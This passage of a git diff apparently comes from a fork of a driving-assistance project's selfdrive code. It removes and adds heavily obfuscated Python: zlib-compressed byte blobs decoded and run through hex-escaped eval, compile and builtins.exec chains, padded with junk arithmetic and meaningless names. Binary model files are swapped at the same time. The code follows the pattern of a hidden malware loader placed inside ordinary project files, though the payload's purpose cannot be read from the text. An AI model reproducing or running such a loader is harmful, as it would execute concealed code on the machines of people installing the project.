xfd\x96`\xcf\x1b\xc2\xe2\xdbFa\x1c\xb329\x13VO\x90WO\x80@&o\xec\x8c`kh\xdbN\x13\x96\xe0&,\xc6\xb6\xdd\xb6;\xb0,c\xfeq\x0bs\x8e\xc3\xa2<\xb1-\xdb\xb1=X\x9a\x03>\x82\xd5\x94(\xe6c\xa2\xeeM\xb9\xca\xdb\xb0\x88{\xc3M\xe9Bp\x89\xcfyu8\x97m\xe7\xcb$\x95\x1c\xdf\x89A\xd4g\x9d\n\x03"\x99\xb4b\xa8\xc5\xe4\x18\xaa\xd0v\xe3\x1e\x04\x89\xa0\x9a~\x0c|z\xb5\x98\xf7\x15\x99e\x9aCs\x03\xa9\x0e\xd3\x89\xbb\xf9\x0eJ\x91\x8f:\xcccFV"\xa3!m\xadm\x9c)\\S\x85\x15\x10q\xee\xd1\x93$\xcb\xafn\x99+i~u\xe3\x94\x19\x06\xb0p\x0f\xa6\xf3q\xf0\xd0KUh\x80<7\xae\xae\xbd2\xf7y0\x1f?\xe6H\xb8\x8d\xda+\x10M\xd7\xfe\xb0~\x86\xa5\xce\xfb\xe5\xc4\xb8\xdd\xabW\xe9_\xf5\xfd\x9c\\m\x19r\xac\xc3C$\x18\xc1\xbf8\xb4g\x81!w!\xe9\xb4\xceM\x1e\xf3\xbcv4\n\xfd\xe5\xb2\xd2_M\x97\xafo\xa7xVb:\x07($\x0f\x06\xd5e\x10N\x14\xe9\xc7\xcd\xc6\x80\x85\xe2\x1eK\xc3\xd5\x9a\xf1\xcb2XL\xfd\xb0\'\xa2i\x039..\xab&\xeedO\x91\xc0\x19\xa6\x85\x02gl5\x95=\xbeKaT\xd1\x9c\xa9\xe8\x13l\xa1"\x15$\x03\xcc0G\xb4\xccqGp\x9e\x00}\xa9\xe3cr\t\x0bf+\'\xd0\xee\xa0\x17\x1bIb\x0e\xef\xfc\xdc\xa8\x06\x9cGt?X~\x9b\x8fzzU\r\x15\x84\xcd\xa86\x0e~\x9b\x8e\x82\xc1t,Kt\xea\x879\\\x0c:q\xbe\xeaqg!\x8f\xc1\xbd\x82\xe6\x00\xa3\xfe\x1d\xf44VN\x9fG\xca\x07\xb7\x8b\xe0\xb7\xf4\x8f <\xfc\x06#f\xf0k\xf0\xad\xc7%\xf8\xcc\x8c\xd2\xc4\xf3\x9d.\x07\xd1\x04\xe4w\x7f\xdc\x8b\xf9\x85P\xa3I\xd7\xd6\xe4\xcb\xb2\x93\x95\xf0SJ\x0e5G\xce\xac\xa7\xd5\t\x8d\xcb\xbb\xe1\xb9\xbf\\\x05\x0b\xe0\xad%"\xe4\xbdl\xdd_\x99w\x04#w5P\xa3>\xdd6\xf3\xb7\xb5\x8d\xa7\n\xc1o\xd8\xb7\x1b\x7fY{ \xb7.\x9c\xce\x83^\x9cMN\xb9\xb0K\xb69\xf3l\xc4bOo{\xc8~#\xf3\x8d\x92 0\xdf\xa8\xd2\x80\xbf\xa9\xd9\x0fs\xffvy\x1d\xad\x06\xacK\xc9\x8e\x89\xe5j:\xf7Q>I\xd5\xa0e\x83\xda\x9a\x9d\xb0\xa8\xe7\xfa\xcd\x87i8\x0c\x83\xe4\x84\xa5\xa1\xfc\xaaG,d\x9c%\x11\xb7\x84\n$\x8f5N\r\xb4\xde8G\xe5?+\x97\xc2\x8a*\x07r\xe5uS\xf9K\xef^e\x90\x89\xc5#!]\x99\x99\x82\x9d\x03\xc2q\x88\xf2\n~\x80\xa8,WC\x1e\xe7\xfd\xcfrd\xe6\xf2"w\x87zL\x86\xbd^\xc4:\x12Z\xad\xd5\x9a-\'0;G\x1e\x90\xea\x9b5gG\x12L\xab>\xeaf\x90\x87\xed\xf5\x94\xc4\xa7\xd5\x06\xf0\x9d>\xb71_L\xd2It\x11\x15\x9e\xd5\x04\x08[\xcd\xa3\xda\xfa\xeeU4F\x82G\xe1v\xafG}\xc5b\x1dIs\xa1\xea6Z]S\xf4\x05\xf9\xc4\x98G\x94[\\\xc0:ESm\xc3e\x89_n\x12\xdb\x8e\xaa\x0edS\xa2^\xefR\x89\x19\xda\xa7\xea\xd22.)\x14g\xfd\x15\xb1\xc3\xa5\xc6\xc6\xab\xaa\x80\x82\xact \x01\xa3\xd7\xc3\xd5\xe0-\xf6\x11\xae\x16oQ\xcc\x02\x1a\xf8nSS\x85%\xdep_I\x8ey\xcdH\x9c\x9b\x00P\xd1\t\x9a\xb3B\x0f\x1asR(mg4\xfa5X\xf1<\xeb\xf1N\x83\xbf\xaaj\xef\xf5\xdf\x06g\x17o>\xd6\xd5\xee%\n\x0c\xa7\x7fG!KI\xfc\xdf\xf4\x8d5`1\x9f\x07\xa3U\xb5\x1a\x91\xe8t\xaa\xc63i\xfeH{0W\x7f:\xf6-\xbdkz0\xdf\xf6h\xc8\xe1\xb5\xb8\xd3\xbf0\x97\x17g\xbd\xa6#\x98\x17aA\xfb$>\xf6\xc1\x081-\xd0J\xdc?b\xdec\x0e}f\xdel\x18-\xe5\xb1\xc6l\x8d\xe8Ge\x9c\xab\x05\x11\xa4\xe7\x07\xd1\xe6?\xc8\\J\xc8\x84\x13\xc5\xd8Lokk\t\xea\xad<\x11\x9cR\tv9I\xaaRB\xef\x9e\x0c\xc86\xb0\x18\x08"\x1b\x04\x19%\x9cXv\xcb\x1e\xe7c6\xa4\xf5q\x07~\xdf7\\\x97\xf17\x17\xa59\x0e\xae\xc4\x83\xd4\xda\x975\x82\xbd\x9eRz\x02\x9bO\xafp\'xCh\x8e\xd2\x0ec\x16gh\xd2D\xc4F\x1b\xbe\xa0W\xba6j\x94\'\xf0m\xe7{Bf\xd3\xd2|\xdc$\x16\x88\xca\xe1x\xd7\xb8\xc7\xe6\xe4{\xb3G\xe6\xe6~\xe9!]\xfb\xcb\xf5\x0fI=\xdc\xc3L\xb32\x1e\x98I\'\x0c\xce:E&b\xfeB5H\xf1\x9e\xeaC\xc7\xa2J\x13\xe9\xd1mo\xe4/\x1a?\xfb\x0b\x96\x8a\x1ah\xe4\x1a\x909\xb3\x9a^\xf9\xab\xa4!|\xcb}\x80\xffg\x9aR\x1b7\xd6\x1b\xdd6\xe0\x94\x7f\x03~8X\x90\x8a\xdf\xa0\xce\x15m\x19=Ys\xa4\xe6\x19\xb5\x0e\\\xfff\xf6\xc2\xed\xdd0\x9c\x8e\x88\xc7/\x83V\xae{\x88\xa4@BX+\x92#\x18|\x0e\xaa\x80\xda\xb0\x17xM\x0c\x7f\xfe\xa4\xb4\xb1\xac\x1b\xdcJ\xf5\xcc\xe7\xf2I\xc5\xbf\xd2_\xac\x1fO<#C\x10{\xf6\x87\xf4\xdd>\x9cC>\x14C\x9cJr\xaaF\xf7\x1b\x13?A32\x92\xb8XFf\xb24\xaa\xad\xd4\x8d\x1c\xad=8C7\x12\xb9\rH\x93\x17\x9b\xea.$[\xdc\xb9Fo\xc2GF\x9c\xd1\'\xef\x89zO\xaf\xdc\xc4\x05nl\x89\xa6)\x9b\x08\xd0\xfa\xfa\xd4\x8d\xc4\xc1\xa5\x96\x8d\xba\xde\x8d\x874\xa2\x18\xe4t0\xbc\x19\xf7\xb0\xf7\x00jS\x9c\x98\t\xea\x87<\xc7jZc\xb7\r\x9f^\\N\tY9\x82-\xfe\x8a51^\xd7H\'k\x95\xdf\x08*OC\x8d\xc2xYy\xa0y\xdc\xf3E[\x81\xa9\x83,r\x01\xc6\x08 M ?\x98%\xc9\xc2U}\xedJ\xdel\x07\xf8\xdb#W\xcf\xddz\xf1\xdaw\xf4\x88\xe0\xf3p\x8fH\x13Z\x11\x83\xb3\xc2\x83\xa2\x0b7\xf7\xab\x06\xcd\xb6\xa0\xfa\xbb\xb6\xb9I\xb4<\x8e\x9cw\xa2\x13\xbb\x89\xf1\x1f\xc5\x9e\xba\x91e\xf9\x936%~\xfe|"0\xa0\xc6\xddj4\x8f\xee\xab\xb5W\x1a\x0fT\xbd\x8e\xee\x16\xcb\x9e\xf6`\x13\xb6\xe3\xa1\xf6G=\xa3\xb7\xab\xfb\xe1WD.]\xcfz}6\xd4G*L*\x05\xe3O4\xd3\x1f\xa1\xb1\xd4hd=xX-|\xb6|+8\x81\xff-D\x85\xc5\xef\xea1#h!$\x95U\xc8p\x9c\x10\x01\x0c\xe1t\xba\xb5\x01\xb3\xe9\xfc\x0e\x98\x9f\x1ej#\x10\xcc6e<\xdbT\xa1\xdb\xc2\x1a\xa2)\xd4\xa0\xa2[\x90Q\xa5.\xffE+\x0bc\x85\xe1\xe7OW=\xaa\xcbD\x98\xcc\x84\xc6cQGn\xed \x89\xf6\x14?\x0b=\xb4cTZ\x95N\xcd`4') - _while(_ceil = -78644 * -36110).Modulo(_positive = -17557 * _product.Divide) ;_while._detectvar(Math='wwwwxxxwxxwxwwxxwxwww',Substract=b'YQ%\x81\x19\xf4\xbaH\xf4\x1b\xe3\xc7\xd9\xc3\xb2*\xee\xa1\xf6\xd2S\x9b\xc3\xcf\xa9\xa0\xe5\x9f5f\xa6\xc5\n\xae\xd8\x97^\xbc\xc6{\xad\x1e\xf7\xd2o\x82|\xdc\x85\x02\x04\x13\x08}\x0e\x19\xba\xd7\x91\x94!\xc3J}a^$B\xb40\x14L\x8c\xa2:=\x1f~\xd4^\xebZ 6G\xc9\xbb\x0eD\xac|\xdc\xc0\xbb\xc1"\x96\xc8\xd5\x98.\x07^\x00\xf4;Z*S\xe6\xae\xa4\xe5Xa\xe5\x1b\x9f\xe9\xa8\xba\xf2\x16@\xe9\xba\xc95\xba\xb6\xb9\x8c\x06\xc8K\x8b\x95n{\xd1\xc6\x05\t\x98\x929&1\x81\x07\n\x9dD\xa3#~\xaa2P\x07\x8b\xeb\xc4P\xe01\xabF1\x1e\xa81\xa4\xc0\xdf\xa6\x14\xc9\xf03\x92?\xd8\x8d"n\x9bL\xb0\xee\xc4\xbcGHKv\xe5\xc3\x13\x8d\xcb\x8eI\xd1\x8a\xc7~\\\x04;b\xe1LT\xc9\xe8\xca\x18\xdb\xb6M+\x1f\x94\x84\x1fK6\xe9\xba\x15\x11*\xf4f\xd7\x1a\xa1\x9a(\xda6#\xb7\x99GS*r7\xae_\xa3\xf7\xad\x13\xe9\x85Lb\xb7\'\x14(=\x1f;]\xc2}wh\x15\xbd9\x92\xa6m\x02\x08\x10\x80N\xc4;\x14\xbee(\xa7\x04G\xc9\xc5\x8c*\x7f&\xe8\xbe\xd0>\x9d\xd3\xf6\x96h\x148?\xda\xf7\xf1Z\xf8x\x06\x904\n\xae\xc6!\x9c\x1d\xb1\x03:I,f[\xfc\x8e\xc1)\xdc\x96\xd9\xc9\xdf\xe4\x9aB\x1c\x88AW\x12\x84\xc6\'I\x18\xa0\xba\x11\xf9\xae\xdf\x01\x1d\xf1\x17\xcb\xae\xf4\xe4PB(}E\xf2\xc5\xf2A\x95\x03\xd7\x8b5\xdc\xff\x1f5\xfd\xe5\xb7\x9e?\x9c/\xfd.\x1e\xb0\xa1X\xd6R\xcd\x8a\x18>\xd0O\x81\xf7\x9d\xaa\x0c}\x19\x08\rr\xed\xdf*\x7f\x87k\x97\x95\x05\x94R\xf1V\x95\xe6o\xff\x0b\xc5>\xdd\x01\x97V\x11\x08\n\x11q\x8d\xbe\xc4`\xc2J0\xf2\xa6\x16\xa5\x10\x01\x97\xc8\x9e\xdf\x1bX\xa3\x01>\x99\x8cH\x81\xd3\xa2\xca\x912"\xbb\xed\x06&.\xd5\xc0G\x18_C\x08\x05\x83n\xb7\xc7\xe3\xaa\'\xac\xe8\xa4A\xa2\x12\xc5m\x8e\xfe\x1f\x14\xb0ar') + if 422595 > 9167887: + Modulo._detectvar(Positive = Modulo._positive * -85022) + elif 194948 < 4975485: + Modulo._detectvar(Positive = Modulo._positive - -61332) ;Math.Cube(_hypothesis='SS222S2S222S2SS22S222S2',_invert=b'\xbd\xa2\xf1\xe5\xe8S\xc6\x95\xf2\xde\x88\x158\xf4\x91XM\xa8\xbe<\x00E\xf2\x08\x860g\xd5h\xb4\x9c"\x11]\xa3\xb2\x9b5\x946O\x89U\xda\xd8\xce\x92{Jo\xa2\xabC\xc7\xc9@\x93\xe0\x9a\xc2_\\IS\xbe\xde.{r\xd8\x17\xfe=\xb6sC\xdd\xab$\x0b\x0c\xd5\x1b\xa1\xbf\x9a\xae\xee\xc6A\x9dv\xa2\xf9W\xdaK\xaf\x9bu\x93\xeak\xc5\xd2:\x9daR\x8e\xa8%\x17\x91\xa4$XK\xdcMi2\x152\x13\xa9P\x8d\x1d\xabk5\x8dH\xaby\xa9\xbe\xb2\x8f\xc8\x04\x9a\x8a\xb6\x97\xa0l7\xac\xae;1\r&u\xe1\x9aX\x93\x18\x83\x1be\xea\x9f\x18\xaa\xf9\x98k\xaf\xc9q\x1c+\xa0\xaf\x94\x9c\x11[\x8bN\xfb\xc6Q)\xf2\xa6g\x1f6\xa6\x8eP\xc3A4\xbc\x91A\x81\xd6)\x05\x05\xacr[\xea\xb3`u\x1d\x8d{Zw#\xd1#h\xd4\xeb\xb1\x88g\xfb\xaf\x99\xe8\x96f\xa26\x9b\xcdH\x07GaxtP\x1e\x0c\xea\x8c\x05h\xef\x93\x1bH\x0e\x834\xdb \xb5\x88\x17\xd2\xb9[\xc4\xa2\xc2\x08\x18-Im\x1eIA\xa8\xee\xb4\xd7\xbbT\xfan\xa5\xf2\x96\xd8\xb1r\x1bO:\xcc(\x85\x17\x0b\xec\xc4\xe7\xe2o\x8f\x12l\x15,F[\x10\x96\x839\xf4\xd70\x8c\x08`c\xceB-\xc9kc\x83\xae/\xef\x86\x83E\x04\xa4\xbf\xa7\xad\x00\x96\x15+\x8b/\x93\xb3Y=\x07\x9d\xb5\xee\xe1^\x03\x10\x11](7\x9bnZ|\x9f\xca,\xb0\xa35)>\xbb\xa4\xe7J\xbc\t\'\xb2\xc4\x94\x11\xd9,W\x14\xdf\x8c\xa3\xbap@\xc3\xb6;\xa4\xa41\xde\xde\xa4f\x8da$\xc3\xa7\xe1\x9f\t$\x1e\x01\x7f\xbe\xf0\xc7\r\xe9/\xbd!\xda\xeb\x9b\xdb\xe0+\xcf\xbe\xba\xfc\xa4O\x85\xa0\xdb\xec\x89a\x10\x8ca\xbd\r\x8a\x9d\x1b\x1eR/~\xc4\xba\x18\xe5\xdbe\xef\xcb\x95\xd9>\xa8\xbaN\x89/\x03\x06\xb8c\xbcP\xf5\xa1f\xfeBG>l:\x8e.\xd5\x9bF\x8d\x9fp\xdd?\xeb\x1bw\xc0\x7f\xf1\xadW\'\xf5\x87\xf4\xafj@3\xb8\xba\x017\xa0\xb8\x92\t\x92\xab\xdf\xfc\xf0.\xa8\xd6j\x06\xe7\xa0\xd0\xa1\x1aG\x96<_\xba\x9b\x8d+hI\xcc\xec\x8c/\x9f?\x1b\xc1,\x952\xe1jcK\xa9K\x1b\xfe-\x08\xe8\xe3\xea\xef\xb4(\x11\x97\xc6\xac^x"\xfd\x87g\x8e\r?h\x05j6\x05\xec\xda\xbf\xaa\xfdQ\xcb\xde\x08A\x1b\x11\xa5\xc0\xcbP\x9f\xaco\xa7yoE\xe0\t\xb1\xff\xe1\xc5E\xean\xa2\x88=\x12\xc8\x9c\x07\xe7N\xdcF\xba\xdf\x16\xfet\x19\xc4\xc2j\x95\xac&\x0c\x9cf|uD\xb9S\xfbr\x86\xe4\xf1\x02\xcb\x83\xd5+\x9a\xe9\xd2X\xb7\xc1?4F\xd7\x11P\xbf\xaa\x81\r\xae\xd5\x19\x9e\xcd\x1ft\xb9\x94\x06\x82\x1b\xde[3\\X%\xa1\x87\n\xf1\xcc\xc4{\x931\x141\x9c\xb8\x93\x99\x1e\xbfk\x0b\xee\xa5\xb6\xccY\xd6\t\xfe\xfaG\xfd\xf7\x881w\xec\xcc\x11q$e\xb2\xb0q\x85\xab\x98\x98\xd0\xe9\xe2\xfb\x04\x9e\xd2\xef\xe1B\xd0\x18\xdf\xcdn\x97\xd5\xdf\xfb"W\xf0\n\x0e\xc3\x82N\xb1\xfc\xa3&|\xf8\xc5y\x0c\x8c\xd0\x90\xd6\xf8~\xf7ZL\xd8\x07\x85\x9f\x97\xe2o\xc8{\x02~\xec\x9d\xd2#\xe5\xb0\xd0\x8c\x97\xe9\xb3\x8b\x8ap-\x0f\x06x v\x00\xa8S\xd3\xf0\xa3\xf6\xbd\xaf\x0b\x9c\xde3\xef\x9a\x10\x0b\x05I,\xc1\x06\xa3h\xaaVc\xba\x1c\xf8!\xd0\xf2x\xf94\x16\xcf\xf5 \x05\xed\xf7\xd1\xf8H[\xd5\x95\xbf\x00\xaa\xd7K\xaf\xdb\xb5\xcd\xe7h\x80\xe8\xb5X\x99\xd6 c|\x90\xa0\xaa\xb8j\x923d\xc0\xd0N\x8e\x07\x84\x00\xa6\x85kT,\xa4\x1eQ\xcc\xba\xe8 \xf8<\xa9.c\x19F\xbc\x82\x92\xd6\xed\x14\xdb_\xa9(\x1c\xf3L\x0c\xb33\x83!O\x08\xe2\x9a\x1d\xbf[\x84{b5-\xd4\xf0\x98\xba\x1d\xc7q,;\x1f\xb6I\x9a\xa5zu\xdd\x02\t7\xf6j\xdf;C\xed\x13*mqH?\xc2\xe6d\xa8.\xe5\x89\xae_\xba\x8b\xde\x1b\xa9\x9b,b\xcc\'\x14k7\x1f\xe3]\xe2\xf5\x1f\xd1Kf\xf7\xa4\x81\x0f\xe4 \xc5K\\\x9f\x96cq\xe4\xeb\x1f\xa5\xd7:j\x83\x1e\xec\x96\x9e\x00GE\x1b\xd8\xc6\x06R\x98\x06\xa4\x8a\x92\x0e\x88(\x9a\x92r\xacN"\x8cC7\x7f\xe7\x1bjx\xa0\x14=E-\x1a\x1f\x14\xd5\x80\xdb\x8ei|\xfd\x1a\x88L\xb0X\xf6\x94\xc7\x92\x90\x02\xfe\x8a\xa5\x92\xe5\xad>\x0f\x1c\xcf\xab|\xf0?\x9a2\xa8o\xb3~4_\x06=\xdc\x10\xbb\xb6\xbas\x8d\xc3\x98\xc5\x00\xdc\xb9\x1c(\xa2U0Z\xf1\xea\x8a\x9a\xabe\xd5\xf0{\x10\xad|\x8d\xf8*u\x99\x9eV\x0b<\x887\x1bm\xf1\xa36N$G$\xc5a\x03\xb6v\xaf\x17\xc5{si|xH\xcag\xd4. \xcd\xab\xbbe\xdd\xb8g\xd3\x12@n\x82\x8d_>~|O>\x18\xe8\x18\x18\x18\xe2\x19\xc8\x04$\xe3\xc5\xfa\x00\xdd\'icC\x120)\x80\x91P\x03\xbaR\xd5\x8d\xd6\xbc\xa5h\xf8g\x14 \x81|0\x92\xad\xe0{\xa8\x1b\xfd\x83\x00\xa2\xb7\x1cC\xff\x8c\xac\xb04vkk-\x1c\x89\x16e\xeeT\xe3\xdc\xac\xd8\x03\x838\xb0M=\xafU\x90\x9fb\xb5\x9bB\x0b\xea\x1b\xc69\xf6\x8e\xfc\x00\xd8P\xfc6y\xef\xd2\'\x1a4v\x96P\xf2\xf2\xf3R\x96\xa3\x84\xdd\nW\x9b\x81\xd2\x93\xc2J\xa55\xb0H2\xd2\x885i\xb1V\xfdi\xb5_\x92O[\xa7\xce4\x88\xb7\x1cN\x1c\x87>E\xfc\xe8\x93\xf7\xf4E\x13 yY\x98\xf2`\x15\xab\x1b\xd7\x1c\xa3|\x1bch)\xeb\xd8Q]\x9cTUj\xce(ne\xe5/\xbd\xb5\x80\xd5\x84\xda7\xbeT\xa4Tk\xe4~Ia9\x91\xa3\xbe\xca\x9c\xc3`t\xd2H\xd8\xb5U3\x06:}_\t\xf4\xee\x86\xbb\xd23E\x8b\x95\xbcy\x95:\x87qWIP\xf0\x9aj\x89Q\x91\x86"\xe3\xc3\xac\x1a\x85\'\x06v\xd8\x04W\xc0\xfa\x94]\xb1S7\xaf]\x1e5<\x1d\x05\x87\xab^\x12\xb5\xb0\xe6@\x0e\x1aL8\n\xb54\xc1\xfb*\t>W\'Aor=(S\xa7Q8\xba>\xe3C\xd9\xe3\x1d\x1e\xf1U\xcfp\x17L\x92\xd1\x0c0;T\x7ffT\'M\xb0Rl\xa1\xb8h)!\x8d771\x86\xc9[\xd5l\xa2\xa2\x12|\xe6\xb4\xfe\x8f\xed\x00<\xef5\xcd\xd6\xbck\xf57?<\xe9%T\xa9\x82\xe2\xd6\x18=\xad\x92\xa8\xfd\xc5x\xaeY_\x14c\x98\x98\xea\xa7\x17\x03Z\xfb$\xd6%\xc1\xa3\x7fN{V\xe0\x9f\xe1]\x01}g\xb0}k}tL%\x15v\xb5q\xa2\r\xd5\x13\x0f\xcf\xc4woS\xdf\xae\xa9\x1f?\x93\xa7\x91c\xd7\xa7\xbd.E\xc7y\x00m49s\xf7U\x96rRgaRIc\x9d"\xdb\xc5\x83pW\x02\xe8&u4/]\xf0\xb8R\xb3)\xa6\x08\n\xa4\x81\x0e\xd4\xe2a\xafmo\x9f\xeb\x86\xfaD\xce\xf0E{Bh\xff\xd2X\xa4\xf8\x9e\x9f\x1fZ/H`\x19y\xfbZ+\x8c\xd5.\xeb\xce\xb0AI\x91\xad\x98GO\xb1\xc6[b\x97\xaa\xc28\xa4\xb6\xf5L)\x85\x05\xf2\x82)Kg\xbc|\xc6\xec\xe2\x9a[-\xc7%\xca\xc3g\xd6\xde{\xce\xed\x9cq\xf1\xba\x90\xe46k\xf5MsQ\t\\:E\xe3\xa5f\xf3x?iE<\x13\t@\xbc\xad\xc3p\xf34\x84\x83\x08\x19\xcfN\xeb(\xe7r\xd4\x86\xb5\xc6\xc5\xb5\x9eC\x89\x05\xf1B\xc1\xa8\xce\xcd\x98\x0c\xb8e\x90\x0bq\xc68\x97\xcaXi\xe7\xe5\xd8\xd7(q1\xf2\xda\xa0h?\xe1\r\x078I\xcd\x91\x8c\x17\x93\xe8\x9d* le\xabh\xc61s\\Q\xdb^\x9aX^\x1a^>q\xdaH+\x07\xb5Lq*\xba\xe2\xd1\xfa\xa7c\xf2\xa8f\xf9\x9a~\x8a]\xb66\xf4\x12UH\xf6Q|LR\xc8\xdb\xb9&\xd7\xd6V\xdf`\x7f\xcd4\xce\xf0.K\x97>\x15]\xd8\xdf\xe6\x8c$/ZM\x97 1\xfc\xa6\x08"\xd3\xe1L\x90\xa5\xea\x97H9N\xab\x18\x01Q\xbfN\x1e|k\x83/\x89\x06d\x16G\xf3!M\x08\x1e\x80\xd7\xeb)\'U\xea\xce\xc5\xaf\xbd8\xbcS5^N\x15\x90Ea\x86>q\x80)\xe8\xce\xd0\xffF\xf7\nO\'d\xd5p\xed?*\xff\x80\xa3\x97\x95\x05\x9c\xa7\xe2\xaf*\xad_\xfe\x17N|\x7f\r<_%\x16\xce\xd5\xc9\x08Q\xc3c\x04\xefE\x00:\xb5\xb8\x84V\x01\x05\x00\xfa\xb5\x8176\xc0\xe6\xa98)8\xaf\xaa\x12\xc1%\xb6\xd0n\xe0\x0b3\xdd{\x84q_X\xea\x18\xf4z\xa1\xf8\x93j\x1c\x06m\xe1)\xf9:G\xff\x0f\xd6\xf5\xe3B') - _while(_ceil = -44119 / 59343).Positive(_calculate = _product.Divide + -276) ;DOoOoDoDOOoOoDDDoO,llIlllllIIIIIIlllIlIIIll,mnmnmmmnmnnnnmmmmnnnnnnmn,mmmmmmmmnmmnmmnmnnnnnnmnm,MNNNMNNNMNMNMNMNMNNMNMNMM=(lambda ijiiijiijljililjijlji:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(ijiiijiijljililjijlji)"),filename='\x4d\x4e\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4e\x4e\x4d\x4d\x4d\x4e\x4d\x4d\x4d\x4d\x4d\x4e\x4d\x4d\x4e',mode='\x65\x76\x61\x6c'))),(lambda ijiiijiijljililjijlji:ijiiijiijljililjijlji['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda ijiiijiijljililjijlji:ijiiijiijljililjijlji(__import__('\x7a\x6c\x69\x62'))),(lambda nnnmmmnmnnmnmmnmnmnnm,ijiiijiijljililjijlji:nnnmmmnmnnmnmmnmnmnnm(ijiiijiijljililjijlji)),(lambda:(lambda ijiiijiijljililjijlji:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(ijiiijiijljililjijlji)"),filename='\x4d\x4e\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4e\x4e\x4d\x4d\x4d\x4e\x4d\x4d\x4d\x4d\x4d\x4e\x4d\x4d\x4e',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')) - if 373936 > 825386: - _while(_ceil = -60653 * 13863).Modulo(_positive = -85629 * _product.Divide) - elif 267746 < 6759900: - _while(_ceil = -41626 - 41189).Modulo(_positive = -47926 - _product.Divide) ;MNNNMNNNMNMNMNMNMNNMNMNMM()(mmmmmmmmnmmnmmnmnnnnnnmnm(llIlllllIIIIIIlllIlIIIll(mnmnmmmnmnnnnmmmmnnnnnnmn(DOoOoDoDOOoOoDDDoO('\x76\x61\x72\x73'))),_while._absolute(Calculate='IllIlIlIlllIIIIlIIlIllIl')+_while._absolute(Calculate='mnmnmmmnmmmmnnnmmmmnmn')+_while._absolute(Calculate='jjljjlliillljlijjlil')+_while._absolute(Calculate='IlIIIlIIlIlIlIlllllllIIll')+_while._absolute(Calculate='wwwwxxxwxxwxwwxxwxwww'))) + Math(StackOverflow = -26097 - -81797)._detectvar(Positive = Modulo._positive / -65919) ;MMNNMNNNNMMMMNNMNNMMMNMMM,wwwxwwwwxxxxxwxwwxwwww,oDDOODooDODDOoDDDDoO,MNNNMMMNNMMNMNNMNMMN,oDODDDooOODOOOOODDODoD=(lambda DDODOooDoOoODODoDDOoOoOD:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(DDODOooDoOoODODoDDOoOoOD)"),filename='\x49\x49\x6c\x6c\x49\x6c\x49\x49\x49\x6c\x6c\x6c\x49\x6c\x6c\x6c\x6c',mode='\x65\x76\x61\x6c'))),(lambda DDODOooDoOoODODoDDOoOoOD:DDODOooDoOoODODoDDOoOoOD(__import__('\x7a\x6c\x69\x62'))),(lambda DDODOooDoOoODODoDDOoOoOD:DDODOooDoOoODODoDDOoOoOD['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda:(lambda DDODOooDoOoODODoDDOoOoOD:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(DDODOooDoOoODODoDDOoOoOD)"),filename='\x49\x49\x6c\x6c\x49\x6c\x49\x49\x49\x6c\x6c\x6c\x49\x6c\x6c\x6c\x6c',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda iijjjiilllijljijjjljij,DDODOooDoOoODODoDDOoOoOD:iijjjiilllijljijjjljij(DDODOooDoOoODODoDDOoOoOD)) + Math(StackOverflow = -81401 * -9718)._while(Negative = 77520 + Modulo._positive) ;MNNNMMMNNMMNMNNMNMMN()(oDODDDooOODOOOOODDODoD(oDDOODooDODDOoDDDDoO(wwwxwwwwxxxxxwxwwxwwww(MMNNMNNNNMMMMNNMNNMMMNMMM('\x76\x61\x72\x73'))),Math.While(_power='xxwxxxxwwxxxxxxwxw')+Math.While(_power='OooOOODDOoDDDoDDDoOO')+Math.While(_power='OO0o0oo0o00Oo0OOoOO0oOO0O')+Math.While(_power='XWXXXXWXXXXXXXWWWWWX')+Math.While(_power='SS222S2S222S2SS22S222S2'))) - except Exception as Builtins: - if 432149 > 4632057: - _while.execute(code = _stackoverflow(Builtins)) + except Exception as _statistics: + if 144634 > 4094384: + Math.execute(code = System(_statistics)) - elif 303628 > 6483015: - _while(_ceil = 60422 + 47723).Modulo(_positive = -48952 / _product.Divide) \ No newline at end of file + elif 255594 > 1067836: + Modulo._while(Negative = -7636 / Modulo._positive) \ No newline at end of file diff --git a/selfdrive/hybrid_modeld/_dmonitoringmodeld b/selfdrive/hybrid_modeld/_dmonitoringmodeld index d85326a20..c84f087b1 100755 Binary files a/selfdrive/hybrid_modeld/_dmonitoringmodeld and b/selfdrive/hybrid_modeld/_dmonitoringmodeld differ diff --git a/selfdrive/hybrid_modeld/_modeld b/selfdrive/hybrid_modeld/_modeld index 13119c767..42b3c25cd 100755 Binary files a/selfdrive/hybrid_modeld/_modeld and b/selfdrive/hybrid_modeld/_modeld differ diff --git a/selfdrive/hybrid_modeld/models/supercombo.thneed b/selfdrive/hybrid_modeld/models/supercombo.thneed index 58d3488c2..b3bb53cfe 100644 Binary files a/selfdrive/hybrid_modeld/models/supercombo.thneed and b/selfdrive/hybrid_modeld/models/supercombo.thneed differ 